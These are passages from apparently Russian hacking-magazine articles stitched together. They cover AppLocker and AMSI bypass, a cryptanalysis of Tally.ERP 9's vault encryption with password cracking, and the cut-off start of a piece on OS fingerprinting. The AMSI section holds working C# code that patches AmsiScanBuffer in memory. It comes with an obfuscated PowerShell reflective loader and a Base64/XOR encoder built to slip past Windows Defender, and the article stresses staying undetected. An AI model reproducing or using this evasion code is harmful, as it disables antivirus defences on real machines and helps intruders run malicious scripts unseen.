Type) `n Hash :  $($_.Conditions.FileHashCondition.FileHash.Data) `n 
Description: $($_.Description) `n Group/SID : $($_.UserOrGroupSid)
`n`n"}
   Write‐Output ($_.FilePublisherRule | Where‐Object {$_.Name 
‐NotLike "(Default Rule)*"}) | ForEach‐Object ‐Process {Write‐Output 
"=== File Publisher Rule ===`n`n Rule Name : $($_.Name) `n Publis
herName : $($_.Conditions.FilePublisherCondition.PublisherName) `n 
ProductName : $($_.Conditions.FilePublisherCondition.ProductName) `n 
BinaryName : $($_.Conditions.FilePublisherCondition.BinaryName) `n 
BinaryVersion Min. : $($_.Conditions.FilePublisherCondition.Binary
VersionRange.LowSection) `n BinaryVersion Max. : $($_.Conditions.
FilePublisherCondition.BinaryVersionRange.HighSection) `n Descri
ption: $($_.Description) `n Group/SID : $($_.UserOrGroupSid)`n`n"}
}

Об ход пра вила хеша фай лов
В  качес тве  алго рит ма  хеширо вания  в  этом  пра виле  по  умол чанию  исполь‐ 
зует ся SHA‐256. Единс твен ный спо соб, которым мож но получить нелеги тим‐ 
ные фун кции исполня емых при ложе ний в обход дан ного пра вила, — это инъ‐ 
екция DLL  (конеч но, если при ложе ние заг ружа ет DLL). К при меру,  в Process
Explorer была уяз вимость, которая поз воляла заг рузить через DLL вре донос‐ 
ный код.

Та ким  обра зом,  если  сущес тву ет  пра вило,  поз воля ющее  запус кать
Process  Explorer,  то  мож но  выпол нить  код.  На  иллюс тра ции  ниже  была  заг‐ 
ружена DLL, запус кающая calc.exe.

Пра вило для Process Explorer

За пуск calc.exe с помощью Process Explorer

Вмес то запус ка каль кулято ра мож но исполь зовать более сущес твен ную наг‐ 
рузку.  Тем  не  менее  глав ная  задача  выпол нена  —  получи лось  обой ти
AppLocker.

Продолжение статьи →
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Об ход пра вила пути
Это  пра вило —  самое  рас простра нен ное,  его  при меня ют  поч ти  вез де.  Так
как  усло вием  дан ного  пра вила  явля ется  рас положе ние  фай ла  в  фай ловой
сис теме  компь юте ра или  в  сети,  то и обой ти его доволь но  лег ко. На одной
из  кон ферен ций  было  пред став лено  пра вило,  которое  поз воляло  запуск
исполня емо го фай ла из дирек тории  .C:\Python27

Пра вило, раз реша ющее запуск из дирек тории C:\Python27

Та ким  обра зом,  если  каталог  дос тупен  для  записи,  есть  воз можность  раз‐ 
местить в нем (а впос ледс твии и выпол нить) любой файл.

За пуск фай ла из дирек тории C:\Python27 в обход AppLocker

Об ход пра вила изда теля
Циф ровая под пись содер жит информа цию о ком пании — раз работ чике при‐ 
ложе ния, то есть об изда теле. Таким обра зом, это пра вило иден тифици рует
при ложе ние  на  осно ве  его  циф ровой  под писи  и  рас ширен ных  атри бутов.
В  слу чае  исполня емых  фай лов,  DLL  и  уста нов щиков  Windows  эти  атри буты
содер жат наз вание про дук та, частью которо го будет файл, пре дос тавлен ное
изда телем ори гиналь ное имя фай ла и номер его вер сии. В слу чае упа кован‐ 
ных  при ложе ний  и  их  уста нов щиков  рас ширен ные  атри буты  содер жат  имя
и вер сию при ложе ния.

Ука зан ный  тип  пра вил  —  один  из  самых  безопас ных,  и  обходные  пути
очень  огра ниче ны.  AppLocker  про веря ет,  дей стви тель на  под пись  или  нет,
поэто му  опе ратор  не  может  прос то  под писать  при ложе ние  ненадеж ными
сер тифика тами. Но дан ное пра вило мож но обой ти с помощью того же спо‐ 
соба, что и пра вило хеша, ведь инъ екцию DLL с исполь зовани ем это го пра‐ 
вила никак не обна ружить.

Тех ника LOLBas
Эта  тех ника  демонс три рует  фун кции  при ложе ний,  о  которых  боль шинс тво
сис темных  адми нис тра торов  могут  и  не  знать.  Пол ный  спи сок  при ложе ний,
а так же спо собы экс плу ата ции раз личных фун кций этих прог рамм мож но пос‐ 
мотреть  .  К  при меру,  с  помощью    мож но  обой ти  UAC,  а  с
помощью   — выпол нять коман ды ОС.

тут Wsreset.txt
Advpack.dll

LOLBas для некото рых при ложе ний

Ни же  пред став лен  при мер  выпол нения  коман ды  ОС  с  помощью 
.

Advpack.
dll

Вы зов cmd.exe с помощью Advpack.dll

ОБХОД POWERSHELL AMSI
Antimalware Scan Interface (AMSI) поз воля ет при ложе ниям и служ бам интегри‐ 
ровать ся с любым име ющим ся на компь юте ре про дук том для защиты от вре‐ 
донос ных прог рамм. AMSI не зависит от пос тавщи ка анти вирус ных решений.
Он раз работан c уче том наибо лее рас простра нен ных методов ска ниро вания
и защиты от них. К тому же AMSI под держи вает струк туру вызовов, поз воля‐ 
ющую  ска ниро вать  фай лы,  память  или  поток,  про верять  URL/IP‐адре са
источни ка.  Таким  обра зом,  AMSI  ска ниру ет,  находит  и  бло киру ет  все,  что,
по его мне нию, может нанес ти вред сис теме.

По  умол чанию  AMSI  работа ет  с  Microsoft  Defender.  Защит ник  Windows
отме нит свою регис тра цию в качес тве пос тавщи ка AMSI и отклю чит ся, ког да
дру гой анти вирус ный дви жок зарегис три рует ся в этом качес тве.

Ошиб ки выпол нения кода, вызыва емые AMSI, мож но получить при исполь‐ 
зовании  таких  извес тных  сце нари ев,  как  PowerShell  Empire  или  PowerSploit.
На  самом  деле  AMSI  детек тиру ет  вре донос ное  ПО  на  осно ве  извес тных
строк. К при меру, если  хоть  где‐то в  коде встре тит ся стро ка amsiutils, даль‐ 
нейшее выпол нение кода будет заб локиро вано.

Ошиб ка выпол нения, выз ванная AMSI

Обой ти  ска ниро вание  на  осно ве  извес тных  строк  лег ко:  дос таточ но
не исполь зовать стро ки в целом виде. То есть, если мы разобь ем стро ку am‐
siutils на стро ки ams, iut и ils, код будет успешно выпол нен.

Кон катена ция строк для обхо да ска ниро вания AMSI

Но при исполь зовании серь езных сце нари ев этот  трюк может не сра ботать.
Таким обра зом, мы можем вооб ще уйти от кон катена ции раз делен ных строк
бла года ря прос тому кодиро ванию и декоди рова нию строк. Таким спо собом
мы  получим  исходную  стро ку  в  момент  выпол нения.  В  качес тве  кодиров ки
мож но исполь зовать Base64.

Ис поль зование кодиров ки Base64 для обхо да ска ниро вания AMSI

Но  если  мы  сге нери руем  полез ную  наг рузку  и  закоди руем  ее  в  Base64,  то
AMSI все рав но ее рас позна ет (не помога ет скрыть ся даже двой ное кодиро‐ 
вание  Base64)!  Поэто му  куда  более  надеж ным  спо собом  будет  исполь‐ 
зование XOR.

Ис поль зование XOR для обхо да ска ниро вания AMSI

Но  XOR  тоже  мож но  рас познать,  прав да  для  это го  пот ребу ется  более
высокая  абс трак ция.  Поэто му  луч ше  исполь зовать  ком биниро ван ные
решения: нап ример, XOR + Base64, Base64 + ROT13.

Как мы уже говори ли в прош лых стать ях, гораз до удоб нее нем ного модер‐ 
низиро вать  средс тво  защиты,  тем  самым  меняя  его  фун кци ональ ные  воз‐ 
можнос ти. То же самое и с AMSI: обход строк — это хорошо, но луч ше, ког да
опе ратор исполь зует пол ные скрип ты и ему ничего не меша ет.

AMSI  име ет  нес коль ко  фун кций,  которые  выпол няют ся  перед  запус ком
любого кода PowerShell (начиная с PowerShell 3.0), поэто му, что бы пол ностью
обой ти AMSI и выпол нить любой вре донос ный скрипт PowerShell, опе рато ру
необ ходимо внес ти поп равки непос редс твен но в памяти.

AMSI  защища ет  PowerShell,  заг ружая  биб лиоте ку    в  область
памяти PowerShell. При этом AMSI не раз лича ет поль зовате ля с низ кими при‐ 
виле гиями  и  при виле гиро ван ного  поль зовате ля,  такого  как  адми нис тра тор
какой‐нибудь служ бы. AMSI заг ружа ет свою DLL для любого экзем пля ра Pow‐
erShell  и  ска ниру ет  кон соль PowerShell  с  помощью Windows Defender,  что бы
опре делить,  сле дует  ли  бло киро вать  опе рацию  с  полез ной  наг рузкой
или раз решить ее выпол нение.

amsi.dll

Для начала необ ходимо соб рать DLL‐биб лиоте ку, которая будет отклю чать
AMSI.  Нем ного  изме нив  код  (пред став ленный  на  одной  из  кон ферен ций —
сей час я уже не вспом ню, на какой), что бы уйти от исполь зования слов AMSI,
BYPASS и подоб ных, получа ем сле дующую DLL:

using System;
using System.Runtime.InteropServices;

public class A
{
   static byte[] x64 = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 
0xC3 };
   static byte[] x86 = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 
0xC2, 0x18, 0x00 };

   public static void B()
   {
       if (is64Bit())
           PA(x64);
       else
           PA(x86);
   }

   private static void PA(byte[] patch)
   {
       try
       {
           var lib = Win32.LoadLibrary("amsi.dll");
           var addr = Win32.GetProcAddress(lib, "Am" + "siS" + "ca" 
+ "nBu" + "ffer");

           uint oldProtect;
           Win32.VirtualProtect(addr, (UIntPtr)patch.Length, 0x40, 
out oldProtect);

           Marshal.Copy(patch, 0, addr, patch.Length);
       }
       catch (Exception e)
       {
           Console.WriteLine(" [x] {0}", e.Message);
           Console.WriteLine(" [x] {0}", e.InnerException);
       }
   }

   private static bool is64Bit()
       {
           bool is64Bit = true;

           if (IntPtr.Size == 4)
               is64Bit = false;

           return is64Bit;
       }
}

class Win32
{
   [DllImport("kernel32")]
   public static extern IntPtr GetProcAddress(IntPtr hModule, string
procName);

   [DllImport("kernel32")]
   public static extern IntPtr LoadLibrary(string name);

   [DllImport("kernel32")]
   public static extern bool VirtualProtect(IntPtr lpAddress, 
UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}

Те перь  исполь зуем  PowerShell‐скрипт  для  заг рузки  DLL  и  выпол нения
целевой фун кции. Исходный сце нарий, который работал на момент пред став‐ 
ления этой методи ки на кон ферен ции, уже лег ко обна ружи вает ся AMSI.

function B‐A
{
   if(‐not ([System.Management.Automation.PSTypeName]"A").Type) {
       [Reflection.Assembly]::Load([Convert]::FromBase64String("DLL 
библиотека в BASE64")) | Out‐Null
       Write‐Output "DLL has been reflected";
   }
   [A]::B()
}

Со обще ние Windows Defender при обна руже нии скрип та

Это про исхо дит потому, что AMSI спо собен снять кодиров ку Base64. Но мож‐ 
но  ком биниро вать  методы  обхо да.  К  при меру,  Base64  +  XOR  +  Base64.
Закоди руем DLL с помощью сле дующе го скрип та на Python.

#!/usr/bin/python3

import base64

with open("./AB.dll", "rb") as file:
   dll = file.read()

enc = base64.b64encode(dll)
encxor = bytes( [ 96^byte for byte in enc ] )
encenc = base64.b64encode(encxor)

print(encenc)

Тог да PowerShell‐скрипт будет выг лядеть сле дующим обра зом.

function A‐B
{
   if(‐not ([System.Management.Automation.PSTypeName]"A").Type) {
       $encenc = "Закодированная DLL библиотека"
       $enc = [Text.Encoding]::UTF8.GetString([Convert]::FromBa
se64String($encenc))
       $dec=@()
       foreach($byte in [Text.Encoding]::UTF8.GetBytes($enc)){ $dec 
+= $byte ‐bxor 96 }
       $u = [Text.Encoding]::UTF8.GetString($dec)
       [Reflection.Assembly]::Load([Convert]::FromBase64String($u)) 
| Out‐Null
       Write‐Output "DLL has been reflected"
   }
   [A]::B()
}

От клю чен ный AMSI боль ше не реаги рует на опас ные стро ки

Это очень полез ная и удоб ная тех ника, поз воля ющая работать со скрип тами,
которые AMSI бло киро вал.

ЗАКЛЮЧЕНИЕ
На  этом  мы  закан чива ем  тему  защиты  от  обна руже ния.  Пом ни,  глав ное —
не дос тичь цели, а остать ся незаме чен ным! Для тех, кто хочет получить боль‐ 
ше информа ции о про ник новении в Active Directory, я соз дал телег рам‐канал
@RalfHackerChannel.  Здесь  ты  смо жешь  задать  свои  воп росы  (или  отве тить
на воп росы дру гих юзе ров). До встре чи в сле дующих стать ях!
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ВЗЛОМ

Tally.ERP  9  —  сво еоб разный  индий ский  ана лог  сис‐ 
темы 1С:Пред при ятие. Сам про изво дитель опре деля ет про‐ 
дукт  как 

(имен но  так),  соз данное,  сно ва  про цити рую  соз дателей,
«для  нас лажде ния».  Сегод ня  мы  собира емся  нас ладить ся
про дук том  по  пол ной  прог рамме,  взло мав  зашиф рован ные
дан ные  и  про ана лизи ровав  совер шенно  вос хититель ную
схе му защиты.

прог рам мное  обес печение  для  управле ния  биз‐ 
несом  нового  поколе ния  для  биз неса  нового  поколе ния

ЧТО ТАКОЕ TALLY.ERP 9
Нес мотря  на  более  чем  сом нитель ное  опи сание,  Tally.ERP  9  дос таточ но
популяр ный в Индии про дукт с более чем дву мя мил лиона ми поль зовате лей.
С  уче том  раз мера  целевой  ауди тории,  Tally  —  одно  из  самых  популяр ных
решений такого рода в Индии.

Не уди витель но,  что  индий ская  полиция  обра тилась  к  раз работ чикам
«Элкомсофт»  с  прось бой  взло мать  защищен ное  хра нили ще  Tally.ERP  9.
В  таких  слу чаях мы ста раем ся не прос то  взло мать  кон крет ную базу дан ных,
а добавить под дер жку  соот ветс тву юще го фор мата  в один из наших про дук‐ 
тов. Имен но по это му сце нарию и начали раз вивать ся события.

Ка ким  обра зом  обыч но шиф руют  докумен ты  и  внут ренние  базы  дан ных?
Как  пра вило,  ком пании  дей ству ют  без  огонь ка.  В  качес тве  алго рит ма шиф‐ 
рования  выбира ют  AES  с  клю чом  дли ной  128,  192  или  256  бит.  Ключ шиф‐ 
рования дан ных Media Encryption Key (MEK) соз дает ся одним из стан дар тных
крип тогра фичес ки  стой ких  алго рит мов  генера ции  слу чай ных  чисел,  пос ле
чего  этот  ключ шиф рует ся  клю чом шиф рования  клю ча шиф рования  Key  En‐
cryption Key (KEK). KEK, в свою оче редь, генери рует ся на осно ве ком бинации
пароля поль зовате ля и соли с помощью одной из стан дар тных хеш‐фун кций
(чаще все го это SHA‐1, SHA‐256 или SHA‐512). Стой кость алго рит ма уси лива‐ 
ется  уве личе нием  чис ла  ите раций  хеш‐фун кции;  нам  попада лись  вари анты
от 10  тысяч ите раций  (это очень быс трый перебор) до мил лиона  (соот ветс‐ 
твен но,  перебор  очень  мед ленный)  вклю читель но.  Если  упростить  до  пре‐ 
дела, для того что бы добавить под дер жку нового фор мата, нам нуж но прос то
опре делить,  каким  имен но  алго рит мом  хеширо вания  вос поль зовал ся  про‐ 
изво дитель, най ти чис ло ите раций и мес то, куда сох раня ется соль.

В слу чае с Tally.ERP 9 все пош ло не так.

ШИФРОВАНИЕ TALLY VAULT
В сос тав Tally.ERP 9 вхо дит реали зация безопас ного хра нили ща под наз вани‐ 
ем  Tally  Vault. Шиф рование  в  ERP  9  опци ональ ное;  пароль  задавать  совер‐ 
шенно  не  обя затель но.  Пароль  хра нили ща  мож но  задать  как  при  соз дании
ком пании, так и в любой момент пос ле это го.

Ког да поль зователь зада ет пароль, сис тема соз дает новое, защищен ное хра‐ 
нили ще.  Ста рое,  незащи щен ное,  оста ется;  впос ледс твии  поль зователь
может его уда лить. Для нас же эта схе ма чрез вычай но удоб на: зашиф рован‐ 
ную копию хра нили ща мож но нап рямую срав нить с незашиф рован ной.

Вот  как  выг лядит  выбор  ком пании,  если  есть  и  зашиф рован ная,
и незашиф рован ная вер сия дан ных.

Дан ные  в  пос ледних  вер сиях  Tally.ERP  9  по  умол чанию  сох раня ются  в 
.

c:\
Users\Public\Tally.ERP9\Data\(1nnnn)

За шиф рованы  будут  все  фай лы  с  рас ширени ем  .900,  раз мер  которых  пре‐ 
выша ет 512 байт. Основной файл хра нили ща —  . В этом фай ле
сох раня ется информа ция о поль зовате лях, если вклю чена опция Use security
control. Вот как выг лядит этот файл в hex‐редак торе до шиф рования.

Company.900

А вот так — пос ле.

Фор мат фай ла
Файл логичес ки раз бит на сек торы/стра ницы по 512 байт. В начале  каж дой
стра ницы  записа ны  четыре  бай та  кон троль ной  сум мы  (CRC).  При  про вер ке
бло ка на целос тность вычис ляет ся CRC осталь ных 512 – 4 байт и срав нива‐ 
ется с пер выми четырь мя бай тами.

Ключ шиф рования
Ключ шиф рования получа ется из пароля нап рямую; никакой соли и тем более
раз деления  на Media Encryption Key  и Key Encryption Key  здесь  нет. Индий‐ 
ские раз работ чики решили не полагать ся на сущес тву ющие крип тогра фичес‐ 
кие пре обра зова ния и  соз дали свой собс твен ный вари ант,  нас тоящий  кош‐ 
мар крип тогра фа.

Все алго рит мы хеширо вания без исклю чений гаран тиру ют, что изме нение
все го одно го бита в хеширу емой пос ледова тель нос ти при ведет к силь нейше‐ 
му  изме нению  в  хеше.  Индий ским  раз работ чикам  уда лось  сде лать  неверо‐ 
ятное:  они  соз дали  хеш‐фун кцию,  в  которой  при  неболь шом  изме нении
пароля резуль тат тоже меня ется очень нез начитель но. Более того, у нас соз‐ 
далось  впе чат ление,  что  при опре делен ных  усло виях  этот  хеш мож но обра‐ 
тить,  получив  из  него  ори гиналь ный  пароль  (разуме ется,  если  энтро пия
пароля не пре выша ет энтро пии его кон троль ной сум мы). Вишен ка на тор те:
пре обра зова ние при меня ется ров но один раз.

К  при меру,  вот  так  выг лядят  клю чи  шиф рования  на  осно ве  паролей,
в которых попар но раз лича ется один сим вол:

Па роль Ключ

pwd1 0x653C68AC 0x4BA84BA8 (ac 68 3c 65 a8 4b a8 4b)

pwd2 0x653C69A7 0x4BA84BA8 (a7 69 3c 65 a8 4b a8 4b)

password1 0x74258DD3 0x57CE36D7 (d3 8d 25 74 d7 36 ce 57)

password2 0x90A78DD3 0xB34C36D7 (d3 8d a7 90 d7 36 4c b3)

password12345678 0xC6C57C3D 0xE52EC739 (3d 7c c5 c6 39 c7 2e e5)

password12345679 0xC6C51936 0xE52EA232 (36 19 c5 c6 32 a2 2e e5)

qwertyui123456789 0xD15D72DD 0x06309E8D (dd 72 5d d1 8d 9e 30 06)

qwertyuj123456789 0xD15D4D77 0x0630A127 (77 4d 5d d1 27 a1 30 06)

Ал горитм шиф рования
Стра ницы шиф руют ся алго рит мом, прин цип работы которо го силь но напоми‐ 
нает обыч ный DES. Для шиф рования исполь зует ся 64‐бит ный ключ (который
во вре мя работы раз ворачи вает ся в рас ширен ный 128‐бит ный,  как и  у  нас‐ 
тояще го DES). Шиф рование блоч ное, раз мер бло ка — при выч ные для алго‐ 
рит ма DES 64 бита. Алго ритм исполь зует ся в режиме CBC с пер воначаль ной
ини циали заци ей IV нулями.

На пом ню,  DES  (Data  Encryption  Standard)  —  алго ритм  сим метрич ного
шиф рования,  утвер жден ный  пра витель ством  США  в  1977  году  в  качес тве
офи циаль ного  стан дарта.  В  2001‐м  от  исполь зования  DES  отка зались;  ему
на  сме ну  при шел  при выч ный  нам  алго ритм  AES.  Что  зас тавило  индий ских
раз работ чиков взять за осно ву прин ципы работы имен но это го алго рит ма —
для  нас  загад ка,  но  если  став ку  сде лали  на  «ник то  не  догада ется»,  то  они
ошиб лись.

Уже на этом мес те мож но прек ратить иссле дова ние и реали зовать прос‐ 
тей шую ата ку на ключ. На сов ремен ном обо рудо вании все прос транс тво клю‐ 
чей мож но переб рать за счи таные дни. При желании мож но выпол нить рефак‐ 
торинг клю чей; впро чем, прин цип «неуло вимо го Джо» надеж но защища ет Tally
от подоб ных атак.

Про вер ка пароля
В  коде  Tally  Vault  пароль  про веря ется  так:  рас шифро выва ется  стра ница
(все 512 – 4 байт), вычис ляет ся ее кон троль ная сум ма (CRC) и срав нива ется
со  зна чени ем,  записан ным  в  начале  стра ницы.  По  замыс лу  раз работ чиков,
для рас шифров ки всей стра ницы и пол ной про вер ки пароля пот ребу ется рас‐ 
шифро вать 64 бло ка по 8 байт (64 бита). Одна ко в дан ном слу чае дьявол кро‐ 
ется  в  деталях,  и  для  про вер ки  пароля  вычис лять  кон троль ную  сум му  всей
стра ницы совер шенно не обя затель но.

Вер немся к пер вому скрин шоту.

В  начале  каж дой  стра ницы  есть  слу жеб ная  информа ция,  содер жимое
которой  фик сирова но  или  может  быть  извес тно  заранее.  Нап ример,  сра зу
пос ле CRC, по сме щению 4, находит ся 32‐бит ная фик сирован ная пос ледова‐ 
тель ность  DWORD  0x00000001.  Наз начение  этой  пос ледова тель нос ти  нам
неиз вес тно; пред положи тель но, это флаг стра ницы дан ных. Соот ветс твен но,
что бы уско рить про вер ку пра виль нос ти пароля, мож но прер вать рас шифров‐ 
ку стра ницы сра зу пос ле пер вого бло ка, если содер жимое этих 32 бит дан ных
не 0x00000001. Разуме ется, 32 бита дан ных гаран тирован но дадут кол лизии,
которые  потен циаль но  при ведут  к  лож ным  сра баты вани ям.  Поэто му  в  слу‐ 
чаях, ког да зна чение рас шифро ван ных оче ред ным клю чом 32 бит дан ных сов‐ 
пало  со  зна чени ем  0x00000001,  мы  рас шифру ем  блок  до  кон ца,  вычис лим
CRC  и  срав ним  кон троль ную  сум му  со  зна чени ем,  записан ным  в  пер‐ 
вых  4  бай тах  стра ницы.  Одна ко  количес тво  таких  кол лизий  будет  поряд‐ 
ка  1  к  4  мил лиар дам,  что  прак тичес ки  не  вли яет  на  ско рость  перебо ра
паролей.

Кста ти, если пос ле проч тения этой статьи индий ские раз работ чики изме‐ 
нят  или  вов се  убе рут  фик сирован ное  зна чение  по  сме щению  4,  мож но
исполь зовать и дру гие кон стан ты. Нап ример, по сме щению 12 записы вает ся
пос ледова тель ный номер стра ницы, если стра ница не пос ледняя.

Ре зуль тат
Во ору жив шись зна нием об исполь зован ных алго рит мах хеширо вания и шиф‐ 
рования, мы раз работа ли две вер сии пла гина для Elcomsoft Distributed Pass‐
word  Recovery.  В  пер вой  вер сии  пла гина  реали зова на  «лобовая»  ата ка,
в которой пра виль ность пароля про веря ется имен но так, как задума ли индий‐ 
ские раз работ чики. Во вто рой для про вер ки исполь зует ся кон стан та в пер вом
зашиф рован ном бло ке. Как и ожи далось, раз ница в ско рос ти впе чат ляет.

Срав нение ско рос ти на двух CPU:

Ско рость

(паролей

в секун ду)

При  пол ной

рас шифров ке

стра ницы

При  про вер ке  кон стан ты

в  пер вом  бло ке  (сей час

исполь зует ся в EDPR)

Intel Core i7 6700 170 000 5 400 000

Intel Core i7 9700K 345 000 11 400 000

11 мил лионов паролей в  секун ду  на одном про цес соре, без исполь зования
GPU  —  мно го  это  или  мало?  Для  срав нения:  ско рость  ата ки  на  CPU
для докумен тов в фор мате .docx, соз данных в Microsoft Office 2016, сос тавля‐ 
ет поряд ка 40 паролей в секун ду, OpenOffice — 9000. Ско рость ата ки на кон‐ 
тей неры VeraCrypt — чуть боль ше одно го пароля в секун ду. Ата ка на резер‐ 
вные копии  iTunes — при мер но один пароль в десять секунд. Архи вы RAR —
поряд ка 64 паролей в секун ду, 7zip — око ло 25.

Взлом
Для взло ма паролей Tally Vault  вос поль зуем ся Elcomsoft Distributed Password
Recovery с соот ветс тву ющим пла гином. Откро ем файл  .Company.900

Да лее  нас тро им  ата ку  по  сло варю. Мож но  исполь зовать  как  обык новен ный
сло варь рус ско го или англий ско го язы ка,  так и один из спе цифи чес ких сло‐ 
варей,  содер жащих  самые  рас простра нен ные  пароли  или  пароли,  которые
были  извле чены  из  бра узе ра  поль зовате ля.  В  дан ном  слу чае  мы  вос поль‐ 
зовались пароля ми,  которые извлек ли из бра узе ра Chrome,  уста нов ленно го
на компь юте ре поль зовате ля.

Па роль обна ружил ся менее чем за секун ду.

Ус ложнив  задачу,  запус тили  пол ный  перебор,  что бы  пос мотреть  ско рость
ата ки, которая ста били зиро валась на 11,1 мил лиона паролей в секун ду.

КАК БЫЛО БЫ ПРАВИЛЬНО
Как мож но было бы реали зовать шиф рование пра виль ным обра зом? В дан‐ 
ном слу чае дос таточ но было бы сде лать «как все», а имен но:
1. В качес тве алго рит ма шиф рования исполь зовать стан дар тный AES с дли‐ 
ной клю ча 256 бит.

2. Для шиф рования  дан ных  исполь зовать  ключ Media  Encryption  Key  (MEK),
соз данный крип тогра фичес ки стой ким генера тором слу чай ных чисел.

3. MEK  сох ранять  в  зашиф рован ном  виде.  Шиф ровать  при  помощи  клю ча
Key Encryption Key (KEK).

4. Key Encryption Key вычис лять пос редс твом одной из готовых KDF (Key Der‐
ivation  Function),  исполь зующих  мно гочис ленные  (поряд ка  сотен  тысяч)
ите рации  хеш‐фун кции  SHA‐256  или  SHA‐512  на  осно ве  пароля  поль‐ 
зовате ля и соли.

Кро ме  того,  если  есть  воз можность  изме нить фор мат фай ла,  то  сто ит  тща‐ 
тель но про ана лизи ровать стра ницы на пред мет наличия кон стант или дан ных,
которые лег ко вычис лить (нап ример, номеров стра ниц или внут ренних иден‐ 
тифика торов). От таких дан ных нуж но изба вить ся.

ЗАКЛЮЧЕНИЕ
Tally.ERP 9 пол ностью оправдал заяв ку мар кетоло гов «соз дано для нас лажде‐ 
ния». Мы получи ли ред кое удо воль ствие, соз давая ата ку на дан ные Tally Vault,
слов но  вер нувшись  на  двад цать  лет  назад  во  вре мена  сла бой,  зарегу лиро‐ 
ван ной экспортны ми огра ниче ниями защиты.

Что  же  каса ется  самого  Tally  Vault,  то  раз работ чики  совер шили  все  воз‐ 
можные  и  невоз можные  ошиб ки.  Мы  не  смог ли  най ти  ни  одно го  аспекта
защиты, который был бы реали зован на уров не хотя бы школь ника‐энту зиас‐ 
та. Бес прос ветно пло хо здесь абсо лют но все. Здесь и пря мое пре обра зова‐ 
ние  пароля  в  ключ  шиф рования,  и  пре неб режение  солью,  и  единс твен ная
ите рация  доморо щен ного  (и  абсо лют но  без гра мот но  реали зован ного)
хеширо вания. Исполь зование  алго рит ма  на осно ве DES более  чем сорока‐ 
лет ней дав ности в ком бинации с корот ким клю чом шиф рования дела ют воз‐ 
можной ата ку на ключ (а не на пароль), и толь ко отсутс твие спро са защища ет
про дукт от пол ного рефак торин га. Испра вить эти алго рит мы прин ципи аль но
невоз можно, мож но лишь сде лать заново.

Впро чем,  здесь  тот  слу чай,  ког да  и  «сде лать  заново»,  веро ятно,
не поможет. Фик сирован ные дан ные, находя щиеся в самом начале стра ницы
дан ных,  поз воля ют  огра ничить ся  рас шифров кой  единс твен ного  64‐бит ного
бло ка, что более чем в 30 раз уско ряет про вер ку. Нам же оста ется порадо‐ 
вать ся  оче ред ному  дос тижению:  более  11  мил лионов  паролей  в  секун ду
на  единс твен ном  CPU,  без  исполь зования  даже  аппа рат ного  уско рения —
наш абсо лют ный рекорд за все вре мя работы.
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ВЗЛОМ

Пер вая  ста дия  пен теста  —  это,  как  извес тно,  раз ведка.
Толь ко  уста новив,  какая  сис тема  работа ет  на  уда лен ном
хос те, мож но начинать искать в ней лазей ки. Из этой статьи
ты  узна ешь  про  семь  средств,  которые  помога ют  на  этом
эта пе,  и  заод но  уви дишь,  как  имен но  они  вычис ляют  опе‐ 
раци онку.

При мер но  в  тот  же  исто ричес кий  пери од,  ког да  обезь яна  слез ла  с  дерева
и зачем‐то решила стать челове ком, она научи лась исполь зовать ору дия тру‐ 
да. С  тех  пор  так  и  повелось:  каж дая мар тышка  добыва ет  себе  про пита ние
с помощью собс твен ного инс тру мен тария, что выгод но отли чает ее от про чих
пред ста вите лей  фауны.  А  одним  из  самых  богатых  арсе налов  спод ручных
инс тру мен тов сре ди при матов обла дают, безус ловно, пен тесте ры и хакеры.

Оно  и  не  уди витель но:  изу чать  уда лен ные  сис темы  и  экс плу ати ровать
обна ружен ные  в  них  уяз вимос ти  голыми  руками —  все  рав но  что  пытать ся
напугать ежа голым задором и неуем ным энту зиаз мом. То есть и неп рактич‐ 
но, и по боль шому сче ту бес полез но. При чем даже ежу понят но, что пер вый
и самый важ ный этап иссле дова ния любой сис темы — это раз ведка и сбор
информа ции. На нем и заос трим наше вни мание.

Ес ли ты регуляр но чита ешь «Хакер», то навер няка уже встре чал упо мина‐ 
ние мно гих из этих прог рамм. Воз можно, тебе зна ком и тер мин TCP/IP stack
fingerprinting, которым обоз нача ется прин цип их работы.

Да вай  же  оки нем  широким  взгля дом  с  высоты  птичь его    полета
наибо лее акту аль ные ути литы, при год ные для этой цели, и пос тара емся оце‐ 
нить их осо бен ности и воз можнос ти.

по мета

ПАРА УМНЫХ СЛОВ
Опыт ные пен тесте ры, хакеры и счи тающие себя таковы ми могут сме ло про‐ 
пус тить пару молоч ных кок тей лей и этот раз дел, для осталь ных же про ведем
неболь шой  теоре тичес кий  экскурс.  Оче вид но,  что  на  началь ном  эта пе  раз‐ 
ведки уда лен ная сис тема пред став ляет ся для нас «чер ным ящи ком», и в луч‐ 
шем  слу чае мы  зна ем  толь ко  IP‐адрес.  Как минимум необ ходимо  выяс нить,
какие на иссле дуемом хос те откры ты пор ты, под управле нием какой опе раци‐ 
онной сис темы он работа ет, какой софт там уста нов лен и спо собен вза имо‐ 
дей ство вать с сетью. А уже затем, соб рав необ ходимую информа цию, мож но
искать уяз вимос ти и думать, как обра тить их во бла го челове чес тва.

В  слу чае  с  обыч ным  ком пом  или  ноут буком  опре делить  опе раци онную
сис тему про ще все го. Если при взгля де на экран слег ка замути ло — зна чит,
там сто ит вин да, захоте лось что‐нибудь соб рать из исходни ков — однознач‐ 
но линукс. С уда лен ным хос том такой фокус не про катит, поэто му мы можем
оце нивать лишь кос венные приз наки. Опре делить, какая опе раци онная сис‐ 
тема работа ет на хос те, мож но пас сивны ми и активны ми метода ми. В пер вом
слу чае  обыч но  при меня ется  сниф финг  с  помощью  тулз  вро де  Wireshark
и  пос леду ющий  ана лиз  тра фика.  Во  вто ром  слу чае  исполь зует ся  прин цип
пат тернов: каж дая ОС име ет харак терный набор откры тых пор тов, на которые
мож но пос тучать ся и оце нить их дос тупность. А потом, гля дя на эту живопис‐ 
ную кар тину, сде лать соот ветс тву ющие выводы. И в том и в дру гом слу чае мы
иссле дуем  подобие  отпе чат ков  паль цев  опе раци онной  сис темы,  поэто му
совокуп ность методов так и при нято называть — fingerprinting.

Как  пра вило,  все  методы  пас сивно го  ана лиза  тра фика  сво дят ся  к  изу‐ 
чению сте ка TCP/IP на уда лен ной машине. Заголов ки пакетов содер жат поля,
зна чения которых харак терны для стро го опре делен ных ОС. Нап ример, вре‐ 
мя жиз ни пакета TTL (Time To Live), рав ное 64, чаще все го встре чает ся в Linux
и  FreeBSD.  Если  в  заголов ке  не  уста нов лен  флаг  фраг мента ции  (DF,  Don’t
